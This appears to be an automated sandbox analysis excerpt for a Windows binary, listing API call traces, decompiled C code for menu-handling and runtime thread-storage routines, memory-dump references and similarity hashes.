0x000f354b
0x000f3614
0x000f361b
0x000f3621
0x000f3551
0x000f3555
0x000f355a
0x000f355f
0x000f3562
0x000f3568
0x000f356c
0x000f356f
0x000f357c
0x000f3582
0x000f3584
0x000f358c
0x00000000
0x000f358e
0x000f358f
0x000f359a
0x00000000
0x000f35a0
0x000f35a0
0x000f35a3
0x000f35a8
0x000f35c6
0x000f35b0
0x000f35b0
0x000f35b0
0x000f35b6
0x000f35bc
0x000f35be
0x000f35c2
0x000f35c2
0x00000000
0x000f35a8
0x000f359a
0x000f358c
0x000f354b
0x000f34fc
0x000f34fc
0x00000000
0x000f34fc
0x000f34fa
0x000f34ef
0x000f3472
0x000f346c
0x000f3455
0x000f3429
0x000f3423
0x000f340f
0x00000000
0x000f35c8
0x000f35c8
0x000f35cb
0x000f35d1
0x000f35d3
0x000f35dc
0x00000000
0x000f35dc
0x000f33cf
0x000f33d0
0x000f33d6
0x000f33d6
0x000f33cd
0x000f362b
0x000f362e
0x000f3636
0x000f3637
0x000f3638
0x000f3646

APIs

lstrlenA.KERNEL32(?,1F9A9BDF,?,00000000,00000000), ref: 000F338F
CoTaskMemAlloc.OLE32(00000000,?,1F9A9BDF,?,00000000,00000000), ref: 000F33B7
CoTaskMemFree.OLE32(00000000,?,1F9A9BDF,?,00000000,00000000), ref: 000F33D0
CharNextA.USER32(?,00000000,00000000), ref: 000F3432
CharNextA.USER32(00000000,?,00000000,00000000), ref: 000F3437
CharNextA.USER32(00000000,?,00000000,00000000), ref: 000F343C
CharNextA.USER32(00000000,?,00000000,00000000), ref: 000F3441

Part of subcall function 000F1DF0: lstrlenW.KERNEL32(?,1F9A9BDF,?,00000000,?,000000FF,?,000F3598,?,00000000), ref: 000F1E2F
Part of subcall function 000F1DF0: WideCharToMultiByte.KERNEL32(00000003,00000000,?,000000FF,00000000,00000001,00000000,00000000,?,000F3598,?,00000000), ref: 000F1E9C

CharNextA.USER32(BC000000,?,1F9A9BDF,?,00000000,00000000), ref: 000F347B
CharNextA.USER32(?,?,1F9A9BDF,?,00000000,00000000), ref: 000F348B
CharNextA.USER32(00000000,?,?,1F9A9BDF,?,00000000,00000000), ref: 000F3492
CharNextA.USER32(000F2437,?,1F9A9BDF,?,00000000,00000000), ref: 000F34F1
CharNextA.USER32(000F2437,?,1F9A9BDF,?,00000000,00000000), ref: 000F34FD
CoTaskMemFree.OLE32(?,000F2437,?,1F9A9BDF,?,00000000,00000000), ref: 000F351F
EnterCriticalSection.KERNEL32(?,00000000), ref: 000F356F
LeaveCriticalSection.KERNEL32(?,?), ref: 000F3584
CharNextA.USER32(?,?,00000000), ref: 000F35B6
CharNextA.USER32(?,000F2437,?,1F9A9BDF,?,00000000,00000000), ref: 000F35CB
CoTaskMemFree.OLE32(00000000,?,1F9A9BDF,?,00000000,00000000), ref: 000F35EF
CoTaskMemFree.OLE32(?,?,1F9A9BDF,?,00000000,00000000), ref: 000F3605
CoTaskMemFree.OLE32(?,?,1F9A9BDF,?,00000000,00000000), ref: 000F361B

Strings

}}, xrefs: 000F34CB
HKCU{Software{Classes, xrefs: 000F3443
HKCR, xrefs: 000F3413

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: Char$Next$Task$Free$CriticalSectionlstrlen$AllocByteEnterLeaveMultiWide
String ID: }}$HKCR$HKCU{Software{Classes
API String ID: 3389487283-1142484189
Opcode ID: 76598f1100bf9716df8284b765f684167f7ef3b6d3c16b2b1f7c837ff5f0e28c
Instruction ID: d9b63e9c8f021be34e3eb7920bed269b53afbaa230c98dc2367d7428508fbe1c
Opcode Fuzzy Hash: 76598f1100bf9716df8284b765f684167f7ef3b6d3c16b2b1f7c837ff5f0e28c
Instruction Fuzzy Hash: 40A1AD71D0425CEFDB26DFA4D8847AEBBF4AF49320F144119EA01EBA40D774AA85DB60

Uniqueness

Uniqueness Score: -1.00%

Function 000FE8C0 Relevance: 40.5, APIs: 18, Strings: 5, Instructions: 262
windowCOMMON

Download Yara Rule

C-Code - Quality: 97%

			E000FE8C0(void* __ecx, struct HMENU__* __edx, signed char _a4, int _a8) {
				signed int _v8;
				char _v116;
				intOrPtr _v120;
				intOrPtr _v124;
				intOrPtr _v128;
				void* _v132;
				struct tagRECT _v148;
				intOrPtr _v152;
				intOrPtr _v156;
				signed char _v160;
				intOrPtr _v164;
				void* _v168;
				struct _OSVERSIONINFOA _v324;
				char _v325;
				void* _v332;
				long _v336;
				signed int _v340;
				int _v344;
				int _v348;
				struct HMENU__* _v352;
				CHAR* _v356;
				struct tagMENUITEMINFOA _v404;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t92;
				signed char _t95;
				long _t97;
				signed char _t110;
				signed char _t112;
				int _t125;
				intOrPtr* _t139;
				CHAR* _t140;
				char _t144;
				int _t145;
				int _t147;
				char _t159;
				struct HMENU__* _t167;
				void* _t169;
				signed short _t170;
				void* _t172;
				signed int _t173;
				void* _t174;

				_t92 =  *0x159060; // 0x1f9a9bdf
				_v8 = _t92 ^ _t173;
				_t145 = _a8;
				_t172 = __ecx;
				_t147 = _a4;
				 *_t145 = 1;
				_t95 =  *(__ecx + 0x84) & 0x00000001;
				_t167 = __edx;
				_v352 = __edx;
				_v348 = _t145;
				if(_t95 == 0) {
					L2:
					_v336 = 0x10001;
					L3:
					if(_t95 == 0) {
						L34:
						_t162 =  *(_t172 + 4);
						_v332 = 0;
						_t97 = SendMessageA( *(_t172 + 4), 0x44e, _t147,  &_v332);
						if(_t97 != 0) {
							if(IsWindowEnabled( *(_t172 + 0x5c)) != 0) {
								_v148.top = 0;
								_v148.right = 0;
								_v148.bottom = 0;
								_t145 = 0;
								_v148.left = 0;
								GetClientRect( *(_t172 + 4),  &_v148);
								_v128 = 0;
								_v124 = 0;
								_v120 = 0;
								_v132 = 0;
								SendMessageA( *(_t172 + 4), 0x41d, _v332,  &_v132);
								_t162 = _v332;
								_v164 = 0;
								_v160 = 0;
								_v156 = 0;
								_v152 = 0;
								_v168 = 0;
								SendMessageA( *(_t172 + 4), 0x417, _v332,  &_v168);
								_t110 = _v160;
								if((_t110 & 0x00000004) == 0 || (_t110 & 0x00000008) != 0 || _v124 > _v148.right) {
									MessageBeep(_t145);
								} else {
									_t112 =  *(_t172 + 0x85);
									if((_t112 & 0x00000002) != 0 && (_t112 & 0x00000004) == 0) {
										 *(_t172 + 0x85) = _t112 | 0x00000008;
										E00101600(1, _t172);
									}
									E00101540(_t172);
									_t162 =  *(_t172 + 4);
									PostMessageA( *(_t172 + 4), 0x100, 0x28, _t145);
									SendMessageA( *(_t172 + 4), 0x448, _v332, _t145);
								}
							}
						} else {
							 *_t145 = _t97;
							PostMessageA( *(_t172 + 4), 0x448, 0xffffffff, _t97);
							E00101570(_t172, SendMessageA);
							if(_a4 == 0x2f && E00101120(_t172) != 0) {
								 *_t145 = 1;
							}
						}
						L47:
						_pop(_t169);
						return E001059E6(_v336, _t145, _v8 ^ _t173, _t162, _t169, _t172);
					}
					_t162 = _t147 >> 0x10;
					if(_t147 >> 0x10 != 0x10) {
						if(_t95 != 0) {
							goto L47;
						}
						goto L34;
					}
					_t125 = GetMenuItemCount(_t167);
					_t145 = 0;
					_v344 = _t125;
					_v332 = 2;
					_v340 = 0;
					_v325 = 0;
					if(_t125 <= 0) {
						goto L47;
					} else {
						goto L8;
						L9:
						_t144 = _v324.dwMajorVersion;
						if(_t144 >= 5 || _t144 == 4 && _v324.dwMinorVersion >= 0x5a) {
							L13:
							_v404.cch = 0x64;
							_v404.fMask = 0x3f;
							_v404.dwTypeData =  &_v116;
							if(GetMenuItemInfoA(_t167, _t145, 1,  &_v404) == 0 || (_v404.fType & 0x00000800) != 0) {
								L26:
								_t145 = _t145 + 1;
								if(_t145 < _v344) {
									_t167 = _v352;
									L8:
									E00106820( &_v404, 0, 0x30);
									_v404.cbSize = 0x30;
									E00106820( &(_v324.dwMajorVersion), 0, 0x90);
									_t174 = _t174 + 0x18;
									_t162 =  &_v324;
									_v324.dwOSVersionInfoSize = 0x94;
									if(GetVersionExA( &_v324) == 0) {
										goto L12;
									}
									goto L9;
								}
								goto L29;
							} else {
								_t139 = _v404.dwItemData;
								if(_t139 == 0 ||  *_t139 != 0x1313) {
									goto L26;
								} else {
									_t140 =  *(_t139 + 4);
									if(_t140 == 0) {
										goto L26;
									}
									_t159 =  *_t140;
									if(_t159 == 0) {
										goto L26;
									}
									while(_t159 != 0x26) {
										_t140 = CharNextA(_t140);
										_t159 =  *_t140;
										if(_t159 != 0) {
											continue;
										} else {
											goto L26;
										}
									}
									if( *_t140 == 0) {
										goto L26;
									}
									_t162 = _t140[1];
									_v356 = CharLowerA(_a4 & 0x0000ffff);
									if(CharLowerA(_t140[1] & 0x0000ffff) != _v356) {
										goto L26;
									}
									if(_v325 != 0) {
										_v332 = 3;
										L29:
										if(_v325 != 0) {
											_t170 = _v332;
											if(_t170 == 2) {
												PostMessageA( *(_t172 + 4), 0x448, 0xffffffff, 0);
												E00101570(_t172, _t170);
											}
											_t162 = _v340 & 0x0000ffff;
											 *_v348 = 1;
											_v336 = (_t170 & 0x0000ffff) << 0x00000010 | _v340 & 0x0000ffff;
										}
										goto L47;
									} else {
										_t162 = _t145 & 0x0000ffff;
										_v340 = _t145 & 0x0000ffff;
										_v325 = 1;
										goto L26;
									}
								}
							}
						}
						L12:
						_v404.cbSize = 0x2c;
						goto L13;
					}
				}
				_v336 = 0;
				if(_t147 != 0xd) {
					goto L3;
				}
				goto L2;
			}

0x000fe8c9
0x000fe8d0
0x000fe8d4
0x000fe8d8
0x000fe8da
0x000fe8dd
0x000fe8e9
0x000fe8ec
0x000fe8ee
0x000fe8f4
0x000fe8fa
0x000fe90c
0x000fe90c
0x000fe916
0x000fe918
0x000feb0d
0x000feb0d
0x000feb27
0x000feb31
0x000feb35
0x000feb81
0x000feb8f
0x000feb95
0x000feb9b
0x000feba5
0x000feba8
0x000febae
0x000febc1
0x000febc4
0x000febc7
0x000febd3
0x000febd6
0x000febd8
0x000febe8
0x000febee
0x000febf4
0x000febfa
0x000fec09
0x000fec0f
0x000fec11
0x000fec19
0x000fec74
0x000fec2a
0x000fec2a
0x000fec32
0x000fec3a
0x000fec42
0x000fec42
0x000fec47
0x000fec4c
0x000fec58
0x000fec6f
0x000fec6f
0x000fec19
0x000feb37
0x000feb3a
0x000feb45
0x000feb4d
0x000feb56
0x000feb6a
0x000feb6a
0x000feb56
0x000fec7a
0x000fec83
0x000fec90
0x000fec90
0x000fe920
0x000fe926
0x000feb07
0x00000000
0x00000000
0x00000000
0x000feb07
0x000fe92d
0x000fe933
0x000fe935
0x000fe93b
0x000fe945
0x000fe94b
0x000fe953
0x00000000
0x000fe959
0x000fe959
0x000fe9b4
0x000fe9b4
0x000fe9bd
0x000fe9d7
0x000fe9e5
0x000fe9ef
0x000fe9f9
0x000fea07
0x000fea94
0x000fea94
0x000fea9b
0x000fe960
0x000fe966
0x000fe971
0x000fe987
0x000fe991
0x000fe996
0x000fe999
0x000fe9a0
0x000fe9b2
0x00000000
0x00000000
0x00000000
0x000fe9b2
0x00000000
0x000fea19
0x000fea19
0x000fea21
0x00000000
0x000fea2b
0x000fea2b
0x000fea30
0x00000000
0x00000000
0x000fea32
0x000fea36
0x00000000
0x00000000
0x000fea38
0x000fea3e
0x000fea44
0x000fea48
0x00000000
0x000fea4a
0x00000000
0x000fea4a
0x000fea48
0x000fea4f
0x00000000
0x00000000
0x000fea51
0x000fea67
0x000fea79
0x00000000
0x00000000
0x000fea82
0x000feaa3
0x000feaad
0x000feab4
0x000feaba
0x000feac3
0x000fead2
0x000feada
0x000feada
0x000feadf
0x000feaf4
0x000feafa
0x000feafa
0x00000000
0x000fea84
0x000fea84
0x000fea87
0x000fea8d
0x00000000
0x000fea8d
0x000fea82
0x000fea21
0x000fea07
0x000fe9cd
0x000fe9cd
0x00000000
0x000fe9cd
0x000fe953
0x000fe8fc
0x000fe90a
0x00000000
0x00000000
0x00000000

APIs

GetMenuItemCount.USER32 ref: 000FE92D
_memset.LIBCMT ref: 000FE971
_memset.LIBCMT ref: 000FE991
GetVersionExA.KERNEL32(?,?,?,?,?,?,?), ref: 000FE9AA
GetMenuItemInfoA.USER32 ref: 000FE9FF
CharNextA.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 000FEA3E
PostMessageA.USER32 ref: 000FEAD2

Strings

Z, xrefs: 000FE9C4
d, xrefs: 000FE9E5
?, xrefs: 000FE9EF
,, xrefs: 000FE9CD
/, xrefs: 000FEB52

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: ItemMenu_memset$CharCountInfoMessageNextPostVersion
String ID: ,$/$?$Z$d
API String ID: 3606643131-2349203295
Opcode ID: cbdbea2ac9d08d964f2839429f13de26b3dd2e90dcab4dcd124fc748e4443346
Instruction ID: 4cd36b32f0993047be477f8d5584b0805e422debccca8861cddcbe995f9cf8ae
Opcode Fuzzy Hash: cbdbea2ac9d08d964f2839429f13de26b3dd2e90dcab4dcd124fc748e4443346
Instruction Fuzzy Hash: 62A15EB09042589FDB71CF24CC84BEEBBF4BF49700F108099E649A76A1D7B49A81DF61

Uniqueness

Uniqueness Score: -1.00%

Function 001076B6 Relevance: 40.4, APIs: 18, Strings: 5, Instructions: 109
libraryloadermemoryCOMMON

Download Yara Rule

C-Code - Quality: 62%

			E001076B6(void* __ebx) {
				void* __edi;
				void* __esi;
				_Unknown_base(*)()* _t7;
				long _t10;
				void* _t11;
				int _t12;
				void* _t14;
				void* _t15;
				void* _t16;
				void* _t18;
				intOrPtr _t21;
				long _t26;
				void* _t30;
				struct HINSTANCE__* _t35;
				intOrPtr* _t36;
				void* _t39;
				intOrPtr* _t41;
				void* _t42;

				_t30 = __ebx;
				_t35 = GetModuleHandleW(L"KERNEL32.DLL");
				if(_t35 != 0) {
					 *0x170ff0 = GetProcAddress(_t35, "FlsAlloc");
					 *0x170ff4 = GetProcAddress(_t35, "FlsGetValue");
					 *0x170ff8 = GetProcAddress(_t35, "FlsSetValue");
					_t7 = GetProcAddress(_t35, "FlsFree");
					__eflags =  *0x170ff0;
					_t39 = TlsSetValue;
					 *0x170ffc = _t7;
					if( *0x170ff0 == 0) {
						L6:
						 *0x170ff4 = TlsGetValue;
						 *0x170ff0 = E001073C6;
						 *0x170ff8 = _t39;
						 *0x170ffc = TlsFree;
					} else {
						__eflags =  *0x170ff4;
						if( *0x170ff4 == 0) {
							goto L6;
						} else {
							__eflags =  *0x170ff8;
							if( *0x170ff8 == 0) {
								goto L6;
							} else {
								__eflags = _t7;
								if(_t7 == 0) {
									goto L6;
								}
							}
						}
					}
					_t10 = TlsAlloc();
					 *0x1597e0 = _t10;
					__eflags = _t10 - 0xffffffff;
					if(_t10 == 0xffffffff) {
						L15:
						_t11 = 0;
						__eflags = 0;
					} else {
						_t12 = TlsSetValue(_t10,  *0x170ff4);
						__eflags = _t12;
						if(_t12 == 0) {
							goto L15;
						} else {
							E0010845F();
							_t41 = __imp__EncodePointer;
							_t14 =  *_t41( *0x170ff0);
							 *0x170ff0 = _t14;
							_t15 =  *_t41( *0x170ff4);
							 *0x170ff4 = _t15;
							_t16 =  *_t41( *0x170ff8);
							 *0x170ff8 = _t16;
							 *0x170ffc =  *_t41( *0x170ffc);
							_t18 = E0010A504();
							__eflags = _t18;
							if(_t18 == 0) {
								L14:
								E00107403();
								goto L15;
							} else {
								_t36 = __imp__DecodePointer;
								_t21 =  *((intOrPtr*)( *_t36()))( *0x170ff0, E00107587);
								 *0x1597dc = _t21;
								__eflags = _t21 - 0xffffffff;
								if(_t21 == 0xffffffff) {
									goto L14;
								} else {
									_t42 = E00109194(1, 0x214);
									__eflags = _t42;
									if(_t42 == 0) {
										goto L14;
									} else {
										__eflags =  *((intOrPtr*)( *_t36()))( *0x170ff8,  *0x1597dc, _t42);
										if(__eflags == 0) {
											goto L14;
										} else {
											_push(0);
											_push(_t42);
											E00107440(_t30, _t36, _t42, __eflags);
											_t26 = GetCurrentThreadId();
											 *(_t42 + 4) =  *(_t42 + 4) | 0xffffffff;
											 *_t42 = _t26;
											_t11 = 1;
										}
									}
								}
							}
						}
					}
					return _t11;
				} else {
					E00107403();
					return 0;
				}
			}

0x001076b6
0x001076c4
0x001076c8
0x001076e8
0x001076f5
0x00107702
0x00107707
0x00107709
0x00107710
0x00107716
0x0010771b
0x00107733
0x00107738
0x00107742
0x0010774c
0x00107752
0x0010771d
0x0010771d
0x00107724
0x00000000
0x00107726
0x00107726
0x0010772d
0x00000000
0x0010772f
0x0010772f
0x00107731
0x00000000
0x00000000
0x00107731
0x0010772d
0x00107724
0x00107757
0x0010775d
0x00107762
0x00107765
0x0010782c
0x0010782c
0x0010782c
0x0010776b
0x00107772
0x00107774
0x00107776
0x00000000
0x0010777c
0x0010777c
0x00107787
0x0010778d
0x00107795
0x0010779a
0x001077a2
0x001077a7
0x001077af
0x001077b6
0x001077bb
0x001077c0
0x001077c2
0x00107827
0x00107827
0x00000000
0x001077c4
0x001077c4
0x001077d7
0x001077d9
0x001077de
0x001077e1
0x00000000
0x001077e3
0x001077ef
0x001077f3
0x001077f5
0x00000000
0x001077f7
0x00107808
0x0010780a
0x00000000
0x0010780c
0x0010780c
0x0010780e
0x0010780f
0x00107816
0x0010781c
0x00107820
0x00107824
0x00107824
0x0010780a
0x001077f5
0x001077e1
0x001077c2
0x00107776
0x00107830
0x001076ca
0x001076ca
0x001076d2
0x001076d2

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,?,0010672F), ref: 001076BE
__mtterm.LIBCMT ref: 001076CA

Part of subcall function 00107403: DecodePointer.KERNEL32(00000006,0010782C,?,0010672F), ref: 00107414
Part of subcall function 00107403: TlsFree.KERNEL32(00000020,0010782C,?,0010672F), ref: 0010742E
Part of subcall function 00107403: DeleteCriticalSection.KERNEL32(00000000,00000000,778DF3A0,?,0010782C,?,0010672F), ref: 0010A56B
Part of subcall function 00107403: DeleteCriticalSection.KERNEL32(00000020,778DF3A0,?,0010782C,?,0010672F), ref: 0010A595

GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 001076E0
GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 001076ED
GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 001076FA
GetProcAddress.KERNEL32(00000000,FlsFree), ref: 00107707
TlsAlloc.KERNEL32(?,0010672F), ref: 00107757
TlsSetValue.KERNEL32(00000000,?,0010672F), ref: 00107772
__init_pointers.LIBCMT ref: 0010777C
EncodePointer.KERNEL32(?,0010672F), ref: 0010778D
EncodePointer.KERNEL32(?,0010672F), ref: 0010779A
EncodePointer.KERNEL32(?,0010672F), ref: 001077A7
EncodePointer.KERNEL32(?,0010672F), ref: 001077B4
DecodePointer.KERNEL32(00107587,?,0010672F), ref: 001077D5
__calloc_crt.LIBCMT ref: 001077EA
DecodePointer.KERNEL32(00000000,?,0010672F), ref: 00107804
GetCurrentThreadId.KERNEL32 ref: 00107816

Strings

KERNEL32.DLL, xrefs: 001076B9
FlsFree, xrefs: 001076FC
FlsAlloc, xrefs: 001076DA
FlsSetValue, xrefs: 001076EF
FlsGetValue, xrefs: 001076E2

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: Pointer$AddressEncodeProc$Decode$CriticalDeleteSection$AllocCurrentFreeHandleModuleThreadValue__calloc_crt__init_pointers__mtterm
String ID: FlsAlloc$FlsFree$FlsGetValue$FlsSetValue$KERNEL32.DLL
API String ID: 1868149495-3819984048
Opcode ID: 1b185659de15a5a8367bc76d3a6fe0fdf82b62482bf222932852c91fb011267d
Instruction ID: 91b7ac80fe046339eb0ad67ec580de5cdf9ee92de43bcffc94e525927598d533
Opcode Fuzzy Hash: 1b185659de15a5a8367bc76d3a6fe0fdf82b62482bf222932852c91fb011267d
Instruction Fuzzy Hash: 7B313B71D84312DBC727AF75AD099593EB5EB4C361B10452AE4A8D2AF0DBF4A4C2CED0

Uniqueness

Uniqueness Score: -1.00%

Function 000FF7B0 Relevance: 38.7, APIs: 19, Strings: 3, Instructions: 206
threadwindowCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E000FF7B0(struct tagTPMPARAMS* __ecx, int __edx, intOrPtr _a4, struct HMENU__* _a8, int _a12, intOrPtr _a16) {
				char _v8;
				char _v16;
				signed int _v20;
				struct _OSVERSIONINFOA _v172;
				struct tagTPMPARAMS* _v176;
				struct HMENU__* _v180;
				intOrPtr _v184;
				struct HWND__* _v188;
				struct tagMENUITEMINFOA _v236;
				char _v240;
				struct _CRITICAL_SECTION* _v244;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t68;
				signed int _t69;
				int _t79;
				struct HWND__* _t83;
				signed int _t85;
				intOrPtr* _t94;
				intOrPtr _t104;
				intOrPtr _t106;
				void* _t107;
				struct HMENU__* _t108;
				struct HHOOK__* _t112;
				intOrPtr _t113;
				int _t135;
				void* _t137;
				int _t138;
				struct HWND__* _t143;
				void* _t144;
				CHAR** _t145;
				signed int _t146;
				void* _t147;
				void* _t148;

				_push(0xffffffff);
				_push(E0010F7D0);
				_push( *[fs:0x0]);
				_t148 = _t147 - 0xe4;
				_t68 =  *0x159060; // 0x1f9a9bdf
				_t69 = _t68 ^ _t146;
				_v20 = _t69;
				_push(_t69);
				 *[fs:0x0] =  &_v16;
				_t135 = __edx;
				_t106 = _a4;
				_v184 = _t106;
				_v180 = _a8;
				_v176 = __ecx;
				_v8 = 0;
				_v244 = 0x170c68;
				_v8 = 1;
				EnterCriticalSection(0x170c68);
				if(_t106 == 0) {
					 *0x17199c = 0;
				} else {
					 *0x17199c = _t106 + 4;
				}
				 *0x171998 = SetWindowsHookExA(5, E00100A20,  *0x170c08, GetCurrentThreadId());
				 *(_t106 + 0x84) =  *(_t106 + 0x84) & 0x000000f7 | 0x00000001;
				_v188 =  *(_t106 + 4);
				_t79 = TrackPopupMenuEx(_v180, _a12, E00101BD0(_t135, _a16), _t135, _v188, _v176);
				_t112 =  *0x171998; // 0x0
				 *(_t106 + 0x84) =  *(_t106 + 0x84) & 0x000000fe;
				_v176 = _t79;
				UnhookWindowsHookEx(_t112);
				 *0x171998 = 0;
				 *0x17199c = 0;
				LeaveCriticalSection(0x170c68);
				_t127 =  *(_t106 + 4);
				_v240 = 0;
				UpdateWindow( *(_t106 + 4));
				_t143 =  *(_t106 + 4);
				_t83 = GetParent(_t143);
				if(_t83 == 0) {
					L6:
					UpdateWindow(_t143);
					if(( *(_t106 + 0x84) & 0x00000004) != 0) {
						while(1) {
							_t113 =  *((intOrPtr*)(_t106 + 0x18));
							_t85 = _t113 - 1;
							if(_t85 < 0) {
								goto L7;
							}
							_t127 =  *(_t106 + 0x14);
							_t108 =  *( *(_t106 + 0x14) + _t85 * 4);
							if(_t85 >= _t113) {
								goto L7;
							}
							 *(_v184 + 0x18) = _t85;
							if(_t108 == 0) {
								goto L7;
							}
							_t138 = 0;
							if(GetMenuItemCount(_t108) <= 0) {
								L8:
								_t106 = _v184;
								continue;
							} else {
								goto L13;
							}
							do {
								L13:
								E00106820( &_v236, 0, 0x30);
								_v236.cbSize = 0x30;
								E00106820( &(_v172.dwMajorVersion), 0, 0x90);
								_t148 = _t148 + 0x18;
								_v172.dwOSVersionInfoSize = 0x94;
								if(GetVersionExA( &_v172) == 0) {
									L17:
									_v236.cbSize = 0x2c;
									L18:
									_t127 =  &_v236;
									_v236.fMask = 0x32;
									GetMenuItemInfoA(_t108, _t138, 1,  &_v236);
									_t94 = _v236.dwItemData;
									_v180 = _t94;
									if(_t94 != 0 &&  *_t94 == 0x1313) {
										_v236.fMask = 0x31;
										_v236.fType =  *((intOrPtr*)(_t94 + 8));
										_t145 = _t94 + 4;
										_v236.fState =  *((intOrPtr*)(_t94 + 0xc));
										_v236.dwTypeData =  *_t145;
										_v236.cch = lstrlenA( *_t145);
										_v236.dwItemData = 0;
										SetMenuItemInfoA(_t108, _t138, 1,  &_v236);
										_t127 = _v236.fState | _v236.fType | 0x00000400;
										ModifyMenuA(_t108, _t138, _v236.fState | _v236.fType | 0x00000400, _v236.wID,  *_t145);
										_push( *_t145);
										E001062C2();
										_push(_v180);
										E001059DB();
										_t148 = _t148 + 8;
									}
									goto L21;
								}
								_t104 = _v172.dwMajorVersion;
								if(_t104 >= 5 || _t104 == 4 && _v172.dwMinorVersion >= 0x5a) {
									goto L18;
								} else {
									goto L17;
								}
								L21:
								_t138 = _t138 + 1;
							} while (_t138 < GetMenuItemCount(_t108));
							goto L8;
						}
					}
					L7:
					 *[fs:0x0] = _v16;
					_pop(_t137);
					_pop(_t144);
					_pop(_t107);
					return E001059E6(_v176, _t107, _v20 ^ _t146, _t127, _t137, _t144);
				} else {
					do {
						_t143 = _t83;
						_t83 = GetParent(_t83);
					} while (_t83 != 0);
					goto L6;
				}
			}

0x000ff7b3
0x000ff7b5
0x000ff7c0
0x000ff7c1
0x000ff7c7
0x000ff7cc
0x000ff7ce
0x000ff7d4
0x000ff7d8
0x000ff7de
0x000ff7e0
0x000ff7e6
0x000ff7ec
0x000ff7f2
0x000ff7fa
0x000ff7fd
0x000ff80c
0x000ff810
0x000ff818
0x000ff825
0x000ff81a
0x000ff81d
0x000ff81d
0x000ff84c
0x000ff85b
0x000ff861
0x000ff887
0x000ff88d
0x000ff893
0x000ff89b
0x000ff8a1
0x000ff8ae
0x000ff8b3
0x000ff8b8
0x000ff8be
0x000ff8c2
0x000ff8c9
0x000ff8cf
0x000ff8d9
0x000ff8dd
0x000ff8e9
0x000ff8ea
0x000ff8f7
0x000ff926
0x000ff926
0x000ff929
0x000ff92e
0x00000000
0x00000000
0x000ff930
0x000ff933
0x000ff938
0x00000000
0x00000000
0x000ff940
0x000ff945
0x00000000
0x00000000
0x000ff948
0x000ff952
0x000ff920
0x000ff920
0x00000000
0x00000000
0x00000000
0x00000000
0x000ff954
0x000ff954
0x000ff95f
0x000ff975
0x000ff97f
0x000ff984
0x000ff98e
0x000ff9a0
0x000ff9bb
0x000ff9bb
0x000ff9c5
0x000ff9c5
0x000ff9d0
0x000ff9da
0x000ff9e0
0x000ff9e6
0x000ff9ee
0x000ffa00
0x000ffa0d
0x000ffa16
0x000ffa19
0x000ffa21
0x000ffa3b
0x000ffa41
0x000ffa4b
0x000ffa67
0x000ffa70
0x000ffa78
0x000ffa79
0x000ffa87
0x000ffa88
0x000ffa8d
0x000ffa8d
0x00000000
0x000ff9ee
0x000ff9a2
0x000ff9ab
0x00000000
0x00000000
0x00000000
0x00000000
0x000ffa90
0x000ffa91
0x000ffa98
0x00000000
0x000ffaa0
0x000ff926
0x000ff8f9
0x000ff902
0x000ff90a
0x000ff90b
0x000ff90c
0x000ff91a
0x000ff8e0
0x000ff8e0
0x000ff8e1
0x000ff8e3
0x000ff8e5
0x00000000
0x000ff8e0

APIs

EnterCriticalSection.KERNEL32(00170C68,1F9A9BDF), ref: 000FF810
GetCurrentThreadId.KERNEL32 ref: 000FF831
SetWindowsHookExA.USER32 ref: 000FF840
TrackPopupMenuEx.USER32(?,?,00000000,?,?,?), ref: 000FF887
